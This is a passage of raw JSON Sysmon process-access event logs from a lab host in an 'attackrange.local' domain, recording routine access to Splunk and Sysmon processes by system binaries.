AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00102A390300}","ParentProcessId":"3924","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nSourceProcessId: 3924\r\nSourceThreadId: 3980\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","SourceProcessId":"3924","SourceThreadId":"3980","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 